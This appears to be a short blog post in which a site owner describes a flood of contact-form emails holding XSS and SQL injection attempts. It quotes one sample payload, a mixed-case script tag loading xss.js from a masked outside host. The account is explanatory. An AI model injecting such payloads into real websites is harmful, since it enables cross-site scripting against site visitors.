On the 4th of September just before noon (two hours before writing this) my BlackBerry received an email, nothing particularly unusual. Just before I got to check it, I got another and another and this kept on going. Great I thought, probably spam emails that slipped through.
Not quite, on my website I have a contact form that emails me when submitted. So anyway the message being sent to me contained various different random messages that appeared to be a collection of XSS and SQL injection attempts. For example “<ScRiPt src=http://xxx.xxx.xxx/xss.js?32796,5990834475></ScRiPt>” and various others trying to insert images, css, SQL, js, [...]